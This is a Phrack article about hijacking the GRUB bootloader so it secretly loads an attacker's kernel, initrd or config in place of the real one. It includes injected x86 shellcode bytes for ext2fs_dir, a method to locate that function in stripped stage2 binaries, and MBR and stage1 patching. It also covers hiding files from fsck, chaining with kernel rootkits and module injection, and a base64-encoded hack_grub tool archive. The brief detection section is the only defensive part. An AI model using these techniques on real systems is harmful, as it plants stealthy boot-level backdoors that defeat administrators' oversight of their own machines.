Title : Hacking Grub for Fun & Profit
Author : coolq
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14
|=-----------------=[ Hacking Grub for fun and profit ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
0.0 - Trojan/backdoor/rootkit review
1.0 - Boot process with Grub
1.1 How does Grub work ?
1.2 stage1
1.3 stage1.5 & stage2
1.4 Grub util
2.0 - Possibility to load specified file
3.0 - Hacking techniques
3.1 How to load file_fake
3.2 How to locate ext2fs_dir
3.3 How to hack grub
3.4 How to make things sneaky
4.0 - Usage
5.0 - Detection
6.0 - At the end
7.0 - Ref
8.0 - hack_grub.tar.gz
--[ 0.0 - Trojan/backdoor/rootkits review
Since 1989 when the first log-editing tool appeared(Phrack 0x19 #6 -
Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly.
From the early user-mode tools such as LRK4/5, to kernel-mode ones such as
knark/adore/adore-ng, then appears SuckIT, module-injection, nowadays even
static kernel-patching.
Think carefully, what remains untouched? Yes, that's bootloader.
So, in this paper, I present a way to make Grub follow your order, that
is, it can load another kernel/initrd image/grub.conf despite the file you
specify in grub.conf.
P.S.: This paper is based on Linux and EXT2/3 under x86 system.
--[ 1.0 - Boot process with Grub
----[ 1.1 - How does Grub work ?
+-----------+
| boot,load |
| MBR |
+-----+-----+
|
+----------------+ NO
| Grub is in MBR +------->-------+
+-------+--------+ |
Yes | stage1 +-------+--------+
Yes +--------+---------+ | jump to active |
+--<---+ stage1.5 config? | | partition |
| +--------+---------+ +-------+--------+
| No | |
+-------+-------+ | | +-----+-----+
| load embedded | | stage1-> | load boot |
| sectors | | | | sector |
+-------+-------+ V +-----+-----+
^ | | + - - - < - - - + Cf 1.3
| | | +------+------+
stage1.5 +-------->------+--------->-------+ load stage2 +
+------+------+
|
+---------------<--------+
V
+-----------+-----------+
| load the grub.conf |
| display the boot menu |
+-----------+-----------+
| User interaction
+---------+---------+
| load kernel image |
| and boot |
+-------------------+
----[ 1.2 - stage1
stage1 is 512 Bytes, you can see its source code in stage1/stage1.S .
It's installed in MBR or in boot sector of primary partition. The task is
simple - load a specified sector (defined in stage2_sector) to a specified
address(defined in stage2_address/stage2_segment). If stage1.5 is
configured, the first sector of stage1.5 is loaded at address 0200:000; if
not, the first sector of stage2 is loaded at address 0800:0000.
----[ 1.3 - stage1.5 & stage2
We know Grub is file-system-sensitive loader, i.e. Grub can understand
and read files from different file-systems, without the help of OS. Then
how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll
find the following files:
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5,
reiserfs_stage1_5, ...
We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR
or in boot sector. So even if you delete file stage1, system boot are not
affected.
What about zeroing file stage2 and *_stage1_5? Can system still boot?
The answer is 'no' for the former and 'yes' for the latter. You're
wondering about the reason? Then continue your reading...
Let's see how *_stage1_5 and stage2 are generated:
-------------------------------- BEGIN -----------------------------------
e2fs_stage1_5:
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o
objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5
stage2:
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
pre_stage2_exec-builtins.o pre_stage2_exec-common.o
pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
pre_stage2_exec-md5.o
objcopy -O binary pre_stage2.exec pre_stage2
cat start pre_stage2 > stage2
--------------------------------- END ------------------------------------
According to the output above, the layout should be:
e2fs_stage1_5:
[start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
[fsys_ext2fs.c] [bios.c]
stage2:
[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
[cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
[fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
[hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is
smaller, which contains basic modules(disk io, string handling, system
initialization, ext2/3 file system handling), while stage2 is all-in-one,
which contains all file system modules, display, encryption, etc.
start.S is very important for Grub. stage1 will load start.S to
0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to
it. The task of start.S is simple(only 512Byte),it will load the rest parts
of stage1_5 or stage2 to memory. The question is, since the file-system
related code hasn't been loaded, how can grub know the location of the rest
sectors? start.S makes a trick:
-------------------------------- BEGIN -----------------------------------
blocklist_default_start:
.long 2 /* this is the sector start parameter, in logical
sectors from the start of the disk, sector 0 */
blocklist_default_len: /* this is the number of sectors to read */
#ifdef STAGE1_5
.word 0 /* the command "install" will fill this up */
#else
.word (STAGE2_SIZE + 511) >> 9
#endif
blocklist_default_seg:
#ifdef STAGE1_5
.word 0x220
#else
.word 0x820 /* this is the segment of the starting address
to load the data into */
#endif
firstlist: /* this label has to be after the list data!!! */
--------------------------------- END ------------------------------------
an example:
# hexdump -x -n 512 /boot/grub/stage2
...
00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ]
00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ]
00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ]
We should interpret(backwards) it as: load 0x3f sectors(start with No.
0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to
0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load
0x64 sectors(start with No.0x2662c7) to 0x1600:0000.
In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size
is 108328 bytes, the two matches well(sector size is 512).
When start.S finishes running, stage1_5/stage2 is fully loaded. start.S
jumps to asm.S and continues to execute.
There still remains a problem, when is stage1.5 configured? In fact,
stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to
memory. But pay attention, stage1.5 uses file system to load file stage2:
It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So
if stage1.5 is configured, the stage2 is loaded via file system; if not,
stage2 is loaded via both stage2_sector in stage1 and sector lists in
start.S of stage2.
To make things clear, suppose the following scenario: (ext2/ext3)
# mv /boot/grub/stage2 /boot/grub/stage2.bak
If stage1.5 is configured, the boot fails, stage1.5 can't find
/boot/grub/stage2 in the file-system. But if stage1.5 is not configured,
the boot succeeds! That's because mv doesn't change stage2's physical
layout, so stage2_sector remains the same, also the sector lists in stage2.
Now, stage1 (-> stage1.5) -> stage2. Everything is in position. asm.S
will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get
configuration, display menus, and wait for user's interaction. After user
chooses the kernel, grub loads the specified kernel image(sometimes
ramdisk image also), then boots the kernel.
----[ 1.4 - Grub util
If your grub is overwritten by Windows, you can use grub util to
reinstall grub.
# grub
---
grub > find /grub/stage2 <- if you have boot partition
or
grub > find /boot/grub/stage2 <- if you don't have boot partition
---
(hd0,0) <= the result of 'find'
grub > root (hd0,0) <- set root of boot partition
---
grub > setup (hd0) <- if you want to install grub in mbr
or
grub > setup (hd0,0) <- if you want to install grub in the
--- boot sector
Checking if "/boot/grub/stage1" exists... yes
Checking if "/boot/grub/stage2" exists... yes
Checking if "/boot/grub/e2fs_stage1_t" exists... yes
Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are
embedded succeeded. <= if you install grub in boot sector,
this fails
Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p
(hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded
Done
We can see grub util tries to embed stage1.5 if possible. If grub is
installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If
grub is installed in boot sector, there's not enough space to embed
stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200
for stage1.5), so the 'embed' command fails.
Refer to grub manual and source codes for more info.
--[ 2.0 - Possibility to load specified file
Grub has its own mini-file-system for ext2/3. It use grub_open(),
grub_read() and grub_close() to open/read/close a file. Now, take a look at
ext2fs_dir
/* preconditions: ext2fs_mount already executed, therefore supblk in buffer
* known as SUPERBLOCK
* returns: 0 if error, nonzero iff we were able to find the file
* successfully
* postconditions: on a nonzero return, buffer known as INODE contains the
* inode of the file we were trying to look up
* side effects: messes up GROUP_DESC buffer area
*/
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
}
Suppose the line in grub.conf is:
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
grub_open calls ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"),
ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to
get data of any offset(the map resides in INODE->i_blocks[] for direct
blocks).
The internal of ext2fs_dir is:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO, put inode info in INODE;
2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/', then put the inode info of '/boot' in INODE;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/boot', then put the inode info of
'/boot/vmlinuz-2.6.11' in INODE;
4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ the pointer is space, INODE is regular file,
returns 1(success), INODE contains info about
'/boot/vmlinuz-2.6.11'.
If we parasitize this code, and return inode info of file_fake, grub
will happily load file_fake, considering it as /boot/vmlinuz-2.6.11.
We can do this:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO;
2. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake;
3. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0,
INODE is regular file, returns 1.
Since we change the argument of ext2fs_dir, does it have side-effects?
Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed
to kernel. Without it, the kernel won't boot correctly.
(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.)
So, let's check the internal of "kernel=..."
kernel_func processes the "kernel=..." line
static int
kernel_func (char *arg, int flags)
{
...
/* Copy the command-line to MB_CMDLINE. */
grub_memmove (mb_cmdline, arg, len + 1);
kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags);
...
}
See? The arg and mb_cmdline have 2 copies of string
"/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact,
grub_memmove is the same as grub_memcpy). In load_image, you can find arg
and mb_cmdline don't mix with each other. So, the conclusion is - NO
side-effects. If you're not confident, you can add some codes to get things
back.
--[ 3.0 - Hacking techniques
The hacking techniques should be general for all grub versions(exclude
grub-ng) shipped with all Linux distros.
----[ 3.1 - How to load file_fake
We can add a jump at the beginning of ext2fs_dir, then make the first
character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO"
to "current_ino = INODE_OF_FAKE_FILE", then jump back.
Attention: Only when certain condition is met can you load file_fake.
e.g.: When system wants to open /boot/vmlinuz-2.6.11, then /boot/file_fake
is returned; while when system wants /boot/grub/grub.conf, the correct file
should be returned. If the codes still return /boot/file_fake, oops, no
menu display.
Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"?
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2.
The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)"
But keep in mind of optimization: both current_ino and updir_ino are
assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)"
and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg,
0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type
is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax;
inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al".
What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir +
depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.
static char ext2_embed_code[] = {
0x60, /* pusha */
0x9c, /* pushf */
0xeb, 0x28, /* jmp 4f */
0x5f, /* 1: pop %edi */
0x8b, 0xf, /* movl (%edi), %ecx */
0x8b, 0x74, 0x24, 0x28, /* movl 40(%esp), %esi */
0x83, 0xc7, 0x4, /* addl $4, %edi */
0xf3, 0xa6, /* repz cmpsb %es:(%edi), %ds:(%esi) */
0x83, 0xf9, 0x0, /* cmp $0, %ecx */
0x74, 0x2, /* je 2f */
0xeb, 0xe, /* jmp 3f */
0x8b, 0x74, 0x24, 0x28, /* 2: movl 40(%esp), %esi */
0xc6, 0x6, 0x00, /* movb $0x0, (%esi) '\0' */
0x9d, /* popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp change_inode */
0x9d, /* 3: popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp not_change_inode */
0xe8, 0xd3, 0xff, 0xff, 0xff, /* 4: call 1b */
0x0, 0x0, 0x0, 0x0, /* kernel filename length */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* filename string, 48B in all */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
Of course you can write your own string-comparison algorithm.
/* embeded code, 2nd part, change_inode */
memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();
/* embeded code, 3rd part, not_change_inode*/
memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5,
s_start, s_mov_end - s_start);
The result is like this:
ext2fs_dir: not_change_inode:
+------------------------+ +--------> +------------------------+
| push %esp <= jmp embed | | | push %esp |
| mov %esp, %ebp | | | mov %esp, %ebp |
| push %edi | | | push %edi |
| push %esi +--------< | push %esi |
| sub $0x42c, %esp | | | sub $0x42c, %esp |
| mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) |
| mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) |
|back: | | | jmp back |
+------------------------+ | +------------------------+
embed: +--------> change_inode:
+------------------------+ +------------------------+
| save registers | | push %esp |
| compare strings | | mov %esp, %ebp |
| if match, goto 1 | | push %edi |
| if not, goto 2 | | push %esi |
| 1: restore registers | | sub $0x42c, %esp |
| jmp change_inode | INODE_OF_ -> | mov $?, fffffbe4(%esp) |
| 2: restore registers | FAKE_FILE -> | mov $?, fffffbe0(%esp) |
| jmp not_change_inode | | jmp back |
+------------------------+ +------------------------+
----[ 3.2 - How to locate ext2fs_dir
That's the difficult part. stage2 is generated by objcopy, so all ELF
information are stripped - NO SYMBOL TABLE! We must find some PATTERNs to
locate ext2fs_dir.
The first choice is log2:
#define long2(n) ffz(~(n))
static __inline__ unsigned long
ffz (unsigned long word)
{
__asm__ ("bsfl %1, %0"
:"=r" (word)
:"r" (~word));
return word;
}
group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));
The question is, ffz is declared as __inline__, which indicates MAYBE
this function is inlined, MAYBE not. So we give it up.
Next choice is SUPERBLOCK->s_inodes_per_group in
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
#define RAW_ADDR(x) (x)
#define FSYS_BUF RAW_ADDR(0x68000)
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
struct ext2_super_block{
...
__u32 s_inodes_per_group /* # Inodes per group */
...
}
Then we calculate SUPERBLOCK->s_inodes_per_group is at 0x68028. This
address only appears in ext2fs_dir, so the possibility of collision is low.
After locating 0x68028, we move backwards to get the start of ext2fs_dir.
Here comes another question, how to identify the start of ext2fs_dir? Of
course you can search backwards for 0xc3, likely it's ret. But what if it's
only part of an instruction such as operands? Also, sometimes, gcc adds
some junk codes to make function address aligned(4byte/8byte/16byte), then
how to skip these junk codes? Just list all the possible combinations?
This method is practical, but not ideal.
Now, we noticed fsys_table:
struct fsys_entry fsys_table[NUM_FSYS + 1] =
{
...
# ifdef FSYS_FAT
{"fat", fat_mount, fat_read, fat_dir, 0, 0},
# endif
# ifdef FSYS_EXT2FS
{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
# endif
# ifdef FSYS_MINIX
{"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif
...
};
fsys_table is called like this:
if ((*(fsys_table[fsys_type].mount_func)) () != 1)
So, our trick is:
1. Search stage2 for string "ext2fs", get its offset, then convert it to
memory address(stage2 starts from 0800:0000) addr_1.
2. Search stage2 for addr_1, get its offset, then get next 5 integers
(A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No",
goto 1 and continue search
3. Then C is memory address of ext2fs_dir, convert it to file offset. OK,
that's it.
----[ 3.3 - How to hack grub
OK, with the help of 3.1 and 3.2, we can hack grub very easily.
The first target is stage2. We get the start address of ext2fs_dir, add
a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'?
Obviously, the tail of stage2 is not perfect, this will change the file
size. We can choose minix_dir as our target. What about fat_mount? It's
right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."
root_func()->open_device()->attemp_mount()
for (fsys_type = 0; fsys_type < NUM_FSYS
&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);
Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called
first. If fat_mount is modified, god knows the result. To make things safe,
we choose minix_dir.
Now, your stage2 can load file_fake. Size remains the same, but hash
value changed.
----[ 3.4 - How to make things sneaky
Why must we use /boot/grub/stage2? We can get stage1 jump to
stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains
intact.
If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the
sector lists in start.S? You have to change the lists to stage2_fake, not
the original stage2. You can retrieve the inode, get i_block[], then the
block lists are there(Don't forget to add the partition offset). You have
to bypass the VFS to get inode info, see [1].
Since you use stage2_fake, the correspondent address in stage1 should
be modified. If the stage1.5 is not installed, that's easy, you just change
stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5
is installed and you're lazy and bold, you can skip stage1.5 - modify
stage2_address, stage2_sector, stage2_segment of stage1. This is risky,
because 1) If "virus detection" in BIOS is enabled, the MBR modification
will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will
change to "Grub stage2". It's flashy, can you notice it on your FAST PC?
If you really want to be sneaky, then you can hack stage1.5, using
similiar techniques like 3.1 and 3.2. Don't forget to change the sector
lists of stage1.5(start.S) - you have to append your embeded code at the
end.
You can make things more sneaky: make stage2_fake/kernel_fake hidden
from FS, e.g. erase its dentry from /boot/grub. Wanna anti-fsck? Move
inode_of_stage2 to inode_from_1_to_10. See [2]
--[ 4.0 - Usage
Combined with other techniques, see how powerful our hack_grub is.
Notes: All files should reside in the same partition!
1) Combined with static kernel patch
a) cp kernel.orig kernel.fake
b) static kernel patch with kernel.fake[3]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
e) hide kernel.fake and stage2.fake (optional)
2) Combined with module injection
a) cp initrd.img.orig initrd.img.fake
b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
e) hide initrd.img.fake and stage2.fake (optional)
3) Make a fake grub.conf
4) More...
--[ 5.0 - Detection
1) Keep an eye on MBR and the following 63 sectors, also primary boot
sectors.
2) If not 1,
a) if stage1.5 is configured, compare sectors from 3(absolute
address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5
b) if stage1.5 is not configured, see if stage2_sector points to
real /boot/grub/stage2 file
3) check the file consistency of e2fs_stage1_5 and stage2
4) if not 3 (Hey, are you a qualified sysadmin?)
if a) If you're suspicious about kernel, dump the kernel and make a
byte-to-byte with kernel on disk. See [5] for more
b) If you're suspicious about module, that's a hard challenge,
maybe you can dump it and disassemble it?
--[ 6.0 - At the end
Lilo is another boot loader, but it's file-system-insensitive. So Lilo
doesn't have built-in file-systems. It relies on /boot/bootsect.b and
/boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays
a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The
details depend on yourself. Do it!
Thanks to madsys & grip2 for help me solve some hard-to-crack things;
thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3,
Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments
about paper-writing.
--[ 7.0 - Ref
[1] Design and Implementation of the Second Extended Filesystem
http://e2fsprogs.sourceforge.net/ext2intro.html
[2] ways to hide files in ext2/3 filesystem (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1
[3] Static Kernel Patching
http://www.phrack.org/show.php?p=60&a=8
[4] Infecting Loadable Kernel Modules
http://www.phrack.org/show.php?p=61&a=10
[5] Ways to find 2.6 kernel rootkits (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1
--[ 8 - hack_grub.tar.gz
begin-base64 644 hack_grub.tar.gz
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
